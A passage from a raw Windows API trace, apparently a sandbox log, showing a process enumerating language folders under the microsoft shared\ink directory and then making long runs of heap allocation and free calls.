lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0055.254] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0055.255] FindClose (in: hFindFile=0x4260840 | out: hFindFile=0x4260840) returned 1 [0055.255] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0055.255] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0055.255] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0055.255] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260300 [0055.255] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0055.255] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0055.255] FindNextFileW (in: hFindFile=0x4260300, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0055.255] FindClose (in: hFindFile=0x4260300 | out: hFindFile=0x4260300) returned 1 [0055.255] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0055.255] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0055.255] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0055.255] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260800 [0055.256] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0055.256] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0055.256] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0055.256] FindClose (in: hFindFile=0x4260800 | out: hFindFile=0x4260800) returned 1 [0055.256] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0055.256] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0055.256] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0055.257] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0055.257] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260700 [0055.257] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0055.257] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0055.257] FindNextFileW (in: hFindFile=0x4260700, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0055.257] FindClose (in: hFindFile=0x4260700 | out: hFindFile=0x4260700) returned 1 [0055.257] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0055.257] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0055.257] FindNextFileW (in: hFindFile=0x4260500, lpFindFileData=0x38cf308 | out: lpFindFileData=0x38cf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0055.257] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42a3f68 [0055.257] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\*", lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f7720, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x42602c0 [0055.259] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0055.260] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0055.261] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0055.262] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0055.262] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0055.262] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0055.263] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0055.263] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0055.263] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0055.264] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4293f60 | out: hHeap=0x6a0000) returned 1 [0055.264] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0055.264] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4293f60 | out: hHeap=0x6a0000) returned 1 [0055.268] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0055.268] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4293f60 | out: hHeap=0x6a0000) returned 1 [0055.269] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4293f60 | out: hHeap=0x6a0000) returned 1 [0055.269] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4293f60 | out: hHeap=0x6a0000) returned 1 [0055.272] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4293f60 | out: hHeap=0x6a0000) returned 1 [0055.272] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0055.272] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4293f60 | out: hHeap=0x6a0000) returned 1 [0055.273] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0055.273] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4293f60 | out: hHeap=0x6a0000) returned 1 [0055.274] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4293f60 | out: hHeap=0x6a0000) returned 1 [0055.274] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4293f60 | out: hHeap=0x6a0000) returned 1 [0055.278] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f3f90 | out: hHeap=0x6a0000) returned 1 [0055.278] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3f68 | out: hHeap=0x6a0000) returned 1 [0055.278] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4293f60 | out: hHeap=0x6a0000) returned 1 [0055.280] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4283f58 | out: hHeap=0x6a0000) returned 1 [0055.282] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f3f90 | out: hHeap=0x6a0000) returned 1 [0055.713] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0055.713] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4303f98 | out: hHeap=0x6a0000) returned 1 [0055.713] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0055.715] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4303f98 | out: hHeap=0x6a0000) returned 1 [0055.715] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0055.717] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4303f98 | out: hHeap=0x6a0000) returned 1 [0055.717] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0055.717] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f3f90 | out: hHeap=0x6a0000) returned 1 [0055.718] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0055.719] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0055.719] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0055.719] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0055.719] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0055.722] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4303f98 | out: hHeap=0x6a0000) returned 1 [0055.725] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4303f98 | out: hHeap=0x6a0000) returned 1 [0055.726] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4303f98 | out: hHeap=0x6a0000) returned 1 [0055.726] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f3f90 | out: hHeap=0x6a0000) returned 1 [0055.730] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4303f98 | out: hHeap=0x6a0000) returned 1 [0055.731] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4303f98 | out: hHeap=0x6a0000) returned 1 [0055.731] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4303f98 | out: hHeap=0x6a0000) returned 1 [0055.734] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4303f98 | out: hHeap=0x6a0000) returned 1 [0055.736] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4303f98 | out: hHeap=0x6a0000) returned 1 [0055.739] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4303f98 | out: hHeap=0x6a0000) returned 1 [0055.742] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4313fa0 | out: hHeap=0x6a0000) returned 1 [0055.742] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4303f98 | out: hHeap=0x6a0000) returned 1 [0055.743] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4303f98 | out: hHeap=0x6a0000) returned 1 [0055.746] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4303f98 | out: hHeap=0x6a0000) returned 1 [0055.749] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4303f98 | out: hHeap=0x6a0000) returned 1 [0055.749] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f3f90 | out: hHeap=0x6a0000) returned 1 [0055.750] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0055.750] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4261058 | out: hHeap=0x6a0000) returned 1 [0056.052] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0056.057] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3cb0 | out: hHeap=0x6a0000) returned 1 [0056.060] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433bfa0 | out: hHeap=0x6a0000) returned 1 [0058.482] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434bfa8 | out: hHeap=0x6a0000) returned 1 [0058.486] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43fbfd8 | out: hHeap=0x6a0000) returned 1 [0058.486] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434bfa8 | out: hHeap=0x6a0000) returned 1 [0058.486] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433bfa0 | out: hHeap=0x6a0000) returned 1 [0058.491] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0058.494] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0058.497] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x434b010 | out: hHeap=0x6a0000) returned 1 [0058.497] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0058.500] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0058.502] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0058.507] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0060.333] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0060.333] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x433b008 [0060.333] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0060.723] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0060.724] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0060.725] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0060.729] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0060.729] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x433b008 | out: hHeap=0x6a0000) returned 1 [0060.734] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0060.737] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0060.755] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x43abfc8, Size=0x80000) returned 0x445d020 [0060.762] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0061.317] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0061.318] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x437b028 | out: hHeap=0x6a0000) returned 1 [0061.321] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0061.321] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0061.321] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0061.322] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0061.323] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x436b020 | out: hHeap=0x6a0000) returned 1 [0061.630] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0061.632] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0061.634] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0061.636] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0061.646] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0061.647] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0061.655] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0061.657] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0061.659] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0061.665] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0061.667] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0061.668] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0061.670] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0062.629] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0062.631] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0062.632] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: hHeap=0x6a0000) returned 1 [0062.634] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x43cb050 | out: 